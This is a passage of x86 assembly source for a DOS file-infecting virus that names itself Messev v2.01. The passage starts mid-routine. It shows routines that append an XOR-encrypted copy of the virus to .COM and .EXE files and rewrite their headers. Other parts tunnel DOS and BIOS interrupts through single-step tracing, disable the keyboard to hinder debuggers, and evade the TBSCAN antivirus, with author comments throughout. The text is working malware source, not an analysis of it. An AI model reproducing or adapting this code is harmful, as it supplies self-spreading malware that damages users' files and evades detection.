		TEST    CS:Status, 00000001b    ; Infect-mode on?
		JZ      JMP_Exit_i21h           ; Abort when not.

		MOV     AX, 3D02h               ; Open file for r/w.
		CALL    OldInt21h
		JNC     No_Open_Error

JMP_Exit_i21h:  JMP     Exit_Int_21h

My_Inspiration  DB      'Daddy-K-tit 2 Gallyon van Vessem'

No_Open_Error:
		XCHG    BX, AX                  ; BX = Handle.

		MOV     AX, 4300h               ; Get file-attributes.
		CALL    OldInt21h

		PUSH    CX

		PUSH    DS                      ; Save filename on stack.
		PUSH    DX

		MOV     AX, 4301h               ; Clear file-attributes.
		XOR     CX, CX
		CALL    OldInt21h

		CALL    Check_Handle            ; Filehandle?
		JNZ     Abort_Check

		PUSH    DS
		POP     ES

		CLD                             ; Find end of ASCIIZ-string.
		XOR     AL, AL
		MOV     DI, DX
		MOV     CX, 0FFFFh
		REPNZ   SCASB

		MOV     AX, [DI-3]
		AND     AX, 1101111111011111b   ; Convert 2 uppercase.

		CMP     AX, 'MO'                ; Has file .COM-extension?
		JE      Legal_Candidate

		CMP     AX, 'EX'                ; Has file .EXE-extension?
		JNE     Abort_Check

Legal_Candidate:

		PUSH    CS
		POP     DS

		PUSH    CS
		POP     ES

		MOV     AH, 3Fh                 ; Read header.
		MOV     CX, 24
		MOV     DX, OFFSET Header
		CALL    OldInt21h
		JC      Abort_Check             ; If we can't read.

		CALL    Go_End_File

		OR      DX, DX                  ; > 64k?
		JNZ     Over_64k

		CMP     AX, 560                 ; File too small?
		JB      Abort_Check
Over_64k:
		CMP     Header.Checksum, Marker_File   ; Already infected?
		JE      Abort_Check

		XOR     BP, BP                  ; 0 = COM
						; 1 = EXE

		CMP     Header.Mark, 'ZM'       ; True .EXE-file?
		JNE     Infect_File

		JMP     Init_EXE

Abort_Check:    JMP     Close_File

Init_EXE:       INC     BP                      ; Set .EXE
Infect_File:

		MOV     AX, 5700h               ; Get filetime.
		CALL    OldInt21h

		PUSH    CX                      ; Save timestamp on stack.
		PUSH    DX

		CLD                             ; Save
		MOV     SI, OFFSET Header
		MOV     DI, OFFSET Old_Bytes
		MOV     CX, (24 / 2)
		REP     MOVSW

		OR      BP, BP                  ; .COM-file.
		JZ      Skip_EXE_Stuff
		CALL    EXE_Stuff
Skip_EXE_Stuff:

		IN      AL, 40h                 ; Get random encryption-key.
		MOV     File_Key, AL

		CLD                             ; Copy virus to buffer
		XOR     SI, SI                  ; for encryption.
		MOV     DI, OFFSET Buffer
		MOV     CX, Virus_Size
		REP     MOVSB

		MOV     SI, OFFSET Buffer
		MOV     CX, OFFSET End_Encrypted_File

Encrypt_Byte:
		XOR     BYTE PTR [SI], AL       ; Encrypt ourself in buffer.
		INC     SI
		LOOP    Encrypt_Byte

		CALL    Go_End_File

		PUSH    AX                      ; Save length host.

		MOV     AH, 40h                 ; Append virus to host.
		MOV     CX, Virus_Size
		MOV     DX, OFFSET Buffer
		CALL    OldInt21h

		MOV     Header.Checksum, Marker_File   ; Mark as infected.

		POP     AX                      ; POP length host.

		OR      BP, BP                  ; .COM-file?
		JNZ     No_JMP                  ; If not, then make no JMP.

		ADD     AX, (OFFSET START - 3)  ; Minus displacement.

		MOV     SI, OFFSET Header
		MOV     BYTE PTR [SI], 0E9h     ; JMP opcode.
		MOV     WORD PTR [SI+1], AX     ; 

No_JMP:
		CALL    Go_Begin_File

		MOV     AH, 40h                 ; Write updated header.
		MOV     CX, 24
		MOV     DX, OFFSET Header
		CALL    OldInt21h

		MOV     AX, 5701h               ; Restore filedate.
		POP     DX
		POP     CX
		AND     CL, 11100000b           ; Clear seconds.
		OR      CL, 00011110b           ; 60 secs.
		CALL    OldInt21h

Close_File:     MOV     AH, 3Eh                 ; Close file.
		CALL    OldInt21h

		POP     DX                      ; ASCIIZ-string.
		POP     DS

		MOV     AX, 4301h               ; Restore file-attributes.
		POP     CX
		CALL    OldInt21h

Exit_Int_21h:
		CALL    Unhook_i24h
		CALL    Pop_All

		JMP     JMP_Int21h


EXE_Stuff:

		MOV     AX, Header.HeaderSize   ; Calculate headersize.
		MOV     CX, 16
		MUL     CX

		XCHG    CX, AX

		CALL    Go_End_File

		SUB     AX, CX                  ; Minus headersize.
		SBB     DX, 0

		MOV     CX, 16                  ; In paragraphs.
		DIV     CX

		MOV     Header.Init_CS, AX      ; Store new CS.
		MOV     Header.Init_IP, OFFSET START
		ADD     Header.Init_IP, DX

		INC     AX                      ; Anti-heuristic.

		MOV     Header.Init_SS, AX
		MOV     Header.Init_SP, (Virus_Mem_Size * 16)

		CALL    Go_End_File

		MOV     CX, 16                  ; Filelength in paragraphs.
		DIV     CX

		ADD     AX, Virus_Mem_Size      ; Plus our requirements.
		MOV     Header.MinMem, AX

		CALL    Go_End_File             ; Length host,
		ADD     AX, Virus_Size          ; Plus our length.
		ADC     DX, 0

		MOV     CX, 512                 ; Calculate # 512 byte-pages.
		DIV     CX

		OR      DX, DX                  ; No rest?
		JZ      No_Round                ; Then no round-off.
		INC     AX                      ; Round off.
No_Round:       MOV     Header.Byte_Pages, AX
		MOV     Header.MOD512, DX

		RETN



	; === Tunnelled disk interrupt 13h. ===
OldInt13h:
		PUSHF
		CALL    DWORD PTR CS:Int13h

		RETN


	; === Tunnelled DOS-interrupt 21h. ===

OldInt21h:
		PUSHF
		CALL    DWORD PTR CS:Int21h

		RETN


;====( Get interrupt vector )================================================
;
;     AL = Interrupt number to hook.
;
; Return: CX:BX = Pointer to INT.
;============================================================================
GetInt:

		PUSH    SI
		PUSH    DS
		PUSH    AX

		MOV     AH, 4                   ; Calculate offset in
		MUL     AH                      ; interrupt-table.

		XCHG    SI, AX

		XOR     AX, AX
		MOV     DS, AX

		CLI                             ; Get handler-address.
		MOV     BX, DS:[SI]
		MOV     CX, DS:[SI+2]
		STI

		POP     AX
		POP     DS
		POP     SI

		RETN

;====( Set interrupt vector )================================================
;
;     AL = Interrupt number to hook.
;
; Returns:
;
;  CX:BX = Pointer to handler.
;============================================================================
SetInt:

		PUSH    SI
		PUSH    DS
		PUSH    AX

		MOV     AH, 4                   ; Calculate offset in
		MUL     AH                      ; interrupt-table.

		XCHG    SI, AX

		XOR     AX, AX
		MOV     DS, AX

		CLI                             ; Set new address.
		MOV     DS:[SI], BX
		MOV     DS:[SI+2], CX
		STI

		POP     AX
		POP     DS
		POP     SI

		RETN


	; === Finds the original BIOS & DOS entrypoint. ===
Tracer:
		CALL    Push_All

		MOV     AH, 52h                 ; List of lists.
		INT     21h

		MOV     AX, ES:[BX-02h]         ; Get 1st MCB.
		MOV     First_MCB, AX

		MOV     AL, 01h                 ; Save INT 01h.
		CALL    GetInt

		MOV     Int01h, BX
		MOV     Int01h+2, CX

		MOV     AL, 01h                 ; Hook INT 01h.
		MOV     BX, OFFSET NewInt01h
		MOV     CX, CS
		CALL    SetInt

		MOV     AL, Trace_Mode          ; Get address from vector.
		CALL    GetInt

		PUSHF
		POP     AX
		OR      AH, 01h                 ; TF on.
		PUSH    AX
		POPF

		CMP     Trace_Mode, Bios
		JNE     Mode_Dos

		MOV     Int13h, BX
		MOV     Int13h+2, CX

		XOR     AH, AH                  ; Reset disk.
		MOV     DL, 80h
		CALL    OldInt13h

		JMP     Exit_Tracer
Mode_Dos:
		MOV     Int21h, BX
		MOV     Int21h+2, CX

		MOV     AX, 3000h               ; Get DOS-version (OEM).
		CALL    OldInt21h

Exit_Tracer:
		PUSHF
		POP     AX
		AND     AH, NOT 01h             ; TF off (just in case).
		PUSH    AX
		POPF

		MOV     AL, 01h                 ; Restore INT 01h.
		MOV     BX, Int01h
		MOV     CX, Int01h+2
		CALL    SetInt

		CALL    Pop_All

		RETN

	; I should be learning 4 my exams right now... Yeah right!

		DB      'If I don''t pass... fuck it!', 0
		DB      'SKLSUX!'

NewInt01h:
		PUSH    BP
		MOV     BP, SP
		PUSH    AX

		MOV     AX, [BP+4]              ; Segment.

		CMP     CS:Trace_Mode, Bios
		JNE     Trace_Dos

		CMP     AH, 0C0h                ; In BIOS-segment?
		JB      Not_In_Bios             ; Continue when not.

		MOV     CS:Int13h+2, AX
		MOV     AX, [BP+2]
		MOV     CS:Int13h, AX
		JMP     Diss_Flag

Trace_Dos:
		CMP     AX, CS:First_MCB        ; In DOS-segment?
		JNB     Not_In_Bios             ; Continue when not.

		MOV     CS:Int21h+2, AX
		MOV     AX, [BP+2]
		MOV     CS:Int21h, AX

Diss_Flag:
		; TF off.

		AND     BYTE PTR [BP+7], NOT 01h

Not_In_Bios:
		POP     AX
		POP     BP

		IRET


; Taken from Predator virus.
Push_All:
		POP     CS:Ret_Add      ; Pop return address to variable.

		PUSHF
		PUSH    AX
		PUSH    BX
		PUSH    CX
		PUSH    DX
		PUSH    SI
		PUSH    DI
		PUSH    DS
		PUSH    ES
		PUSH    BP

		JMP     CS:Ret_Add              ; Push return address on 
						; the stack.

Pop_All:
		POP     CS:Ret_Add              ; Save return address.

		POP     BP
		POP     ES
		POP     DS
		POP     DI
		POP     SI
		POP     DX
		POP     CX
		POP     BX
		POP     AX
		POPF

		JMP     CS:Ret_Add


; Gets the SFT-address. *UNDOCUMENTED*
; BX = Handle.
;
Get_DCB:
		PUSH    BX

		MOV     AX, 1220h               ; Get DCB-number.
		INT     2Fh

		MOV     AX, 1216h               ; Get DCB-address.
		MOV     BL, ES:[DI]
		INT     2Fh

		POP     BX

		RETN

; If TBSCAN is executed the virus adds the following parameters: NM & CO
; NM = Skip memory-check. (Messev will not be found in memory).
; CO = Compatible mode, (uses DOS-filesystem, WITH our stealth).

TBSCAN          DB      'TBSCAN.'               ; ThunderBYTE Scanner.


; During execution of one of these programs, the virus will be inactive,
; (no stealth, no infect).

No_Active:
		DB      'PKZIP.E'               ; PKZIP.EXE
		DB      'ARJ.EXE'               ; ARJ.EXE
		DB      'LHA.EXE'               ; LHA.EXE
		DB      'RAR.EXE'               ; RAR.EXE
		DB      'CHKDSK.'               ; CHKDSK.EXE
End_No_Active:


Hook_i24h:
		CALL    Push_All

		MOV     AL, 24h                 ; Get INT 24h.
		CALL    GetInt
 
		MOV     CS:Int24h, BX
		MOV     CS:Int24h+2, CX

		MOV     AL, 24h                 ; Hook INT 24h.
		MOV     BX, OFFSET NewInt24h
		MOV     CX, CS
		CALL    SetInt

		CALL    Pop_All

		RETN

		; I would really recommend getting this CD 
		; (yes, it's da theme-music from Carmageddon).

		DB      '[ DEMANUFACTURE - FEAR FACTORY ]'

Unhook_i24h:
		CALL    Push_All

		MOV     AL, 24h                 ; Restore INT 24h.
		MOV     BX, CS:Int24h
		MOV     CX, CS:Int24h+2
		CALL    SetInt

		CALL    Pop_All

		RETN


; Dummy Critical Error handler.
NewInt24h:
		MOV     AL, 03h

		IRET


;=======================================================================
; Search a table & (re)set zeroflag depending on result. ZF when found.
;
; DS:SI = Line
; CS:DI = Table
;    CX = Number of names to compare.
;=======================================================================
Search_Table:
		PUSH    AX
		PUSH    BX
		PUSH    SI
		PUSH    DI
		PUSH    BP
		PUSH    DS
		PUSH    ES

		PUSH    CX
		PUSH    DI
		PUSH    ES

		PUSH    DS
		POP     ES

		PUSH    SI
		POP     DI

		CLD                             ; Find end of filename.
		MOV     AL, '.'
		MOV     CX, 127
		REPNE   SCASB

		MOV     AL, '\'                 ; Find start of filename.
		STD
		MOV     CX, 127
		REPNE   SCASB

		MOV     BP, ES:[DI+2]           ; Get first 7 bytes.
		MOV     BX, ES:[DI+4]
		MOV     DX, ES:[DI+6]
		MOV     AL, ES:[DI+8]

		POP     ES
		POP     DI
		POP     CX


Find_Match:
		CMP     CS:[DI+0], BP           ; Compare first word.
		JNE     Not_Found

		CMP     CS:[DI+2], BX           ; Compare second word.
		JNE     Not_Found

		CMP     CS:[DI+4], DX           ; Duh?
		JNE     Not_Found

		CMP     CS:[DI+6], AL           ; And last byte.
		JNE     Not_Found

		CMP     AX, AX                  ; Set ZF.
		JMP     Exit_Search

Not_Found:
		ADD     DI, 7                   ; Next entry in table.
		LOOP    Find_Match

		XOR     AX, AX                  ; Some stupid way of
		NOT     AL                      ; setting the zeroflag.
		CMP     AL, AH

Exit_Search:
		POP     ES
		POP     DS
		POP     BP
		POP     DI
		POP     SI
		POP     BX
		POP     AX

		RETN


; Is the handle in BX corresponding to a file or a device? (sets ZF).
Check_Handle:
		PUSH    DX

		MOV     AX, 4400h               ; IOCTL
		CALL    OldInt21h

		TEST    DL, 80h                 ; Filehandle?

		POP     DX

		RETN


Port_Driver     DB      'C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR', 0
Parameters      DB      ' NM CO', 0Dh

End_Encrypted_File:

NOP_Msg         DB      '$'


			; === VIRUS ENTRYPOINT ===
START:
		CALL    Get_Delta               ; Get delta-offset.
Get_Delta:      POP     SI
		SUB     SI, OFFSET Get_Delta

		PUSH    BX
		PUSH    CX
		PUSH    DX
		PUSH    DI
		PUSH    DS
		PUSH    ES
		PUSH    SI

		IN      AL, 21h                 ; Take-out keyboard.
		OR      AL, 02h                 ; - ANTI-DEBUGGER -
		OUT     21h, AL

		PUSH    CS
		POP     DS

		MOV     BX, SI
		MOV     CX, OFFSET End_Encrypted_File

Decrypt_Byte:   XOR     BYTE PTR [BX], 0        ; Decrypt our body.
		ORG     $-1
File_Key        DB      0
		INC     BX

		MOV     AH, 09h                 ; Prints a empty string.
		MOV     DX, OFFSET NOP_Msg      ; (Anti-TbScan).
		ADD     DX, SI                  ; Add delta-offset.
		INT     21h

		LOOP    Decrypt_Byte

		JMP     Entry


	; === Original first 24 bytes of the hostfile. ===

Old_Bytes:

DW      'ZM'                    ; Host is a .EXE-file.
DW      0
DW      0
DW      0               
DW      0
DW      0
DW      0
DW      0
DW      0
DW      0
DW      OFFSET Carrier          ; Host's IP.
DW      0                       ; Host's CS, same as virus.

Virus_End:

Header          DB      24 DUP(0)       ; Used during infection.
Temp_Buffer     DB      24 DUP(0)       ; Used as a temp. storing buffer.

		; === TEMP. VARIABLES ===

Init_Status     DB      0
Status          DB      0               ; Statusbits.

Int01h          DW      0, 0    ; Address INT 01h.
Int21h          DW      0, 0    ; Tunnelled INT 21h.
Int24h          DW      0, 0    ; Address critical error-handler.
New_Pos         DW      0, 0
Old_Pos         DW      0, 0
File_Pos        DW      0, 0
Read_Bytes      DW      0
First_MCB       DW      0       ; 1st Memory Control Block.
Trace_Mode      DB      0       ; Are we tracing BIOS or DOS-interrupt?
Ret_Add         DW      0
Tunnel_Int      DW      0, 0    ; Address of the tunnelled interrupt.
Read_Buffer     DW      0, 0
FileTime        DW      0       ; Duh?!
FileDate        DW      0
Temp            DB      0

Buffer:


Carrier:
		PUSH    CS
		POP     DS

		MOV     AH, 09h                 ; Display warning.
		MOV     DX, OFFSET Warning_Msg
		INT     21h

		MOV     AX, 4C00h               ; Exit to DOS.
		INT     21h

Warning_Msg     DB      'WARNING: This program is infected with '
		DB      'the Messev v2.01 virus!', 0Ah, 0Dh, '$'



; Structure of the .EXE-header.

EXE_Header      STRUC
Mark            DW      0       ; .EXE-identifier (always 'MZ').
Mod512          DW      0       ; Filesize MOD 512.
Byte_Pages      DW      0       ; Filesize in 512-byte pages (rounded-up).
Num_Reloc       DW      0       ; 
HeaderSize      DW      0       ; Headersize in paragraphs.
MinMem          DW      0       ; Minimal memory requirements in paragraphs.
MaxMem          DW      0       ; Maximal memory requirements in paragraphs.
Init_SS         DW      0       ; Program's SS.
Init_SP         DW      0       ; Initial SP.
Checksum        DW      0       ; Checksum, unused by MS-DOS, used by us.
Init_IP         DW      0       ; Initial IP.
Init_CS         DW      0       ; CS.
EXE_Header      ENDS

		END     START
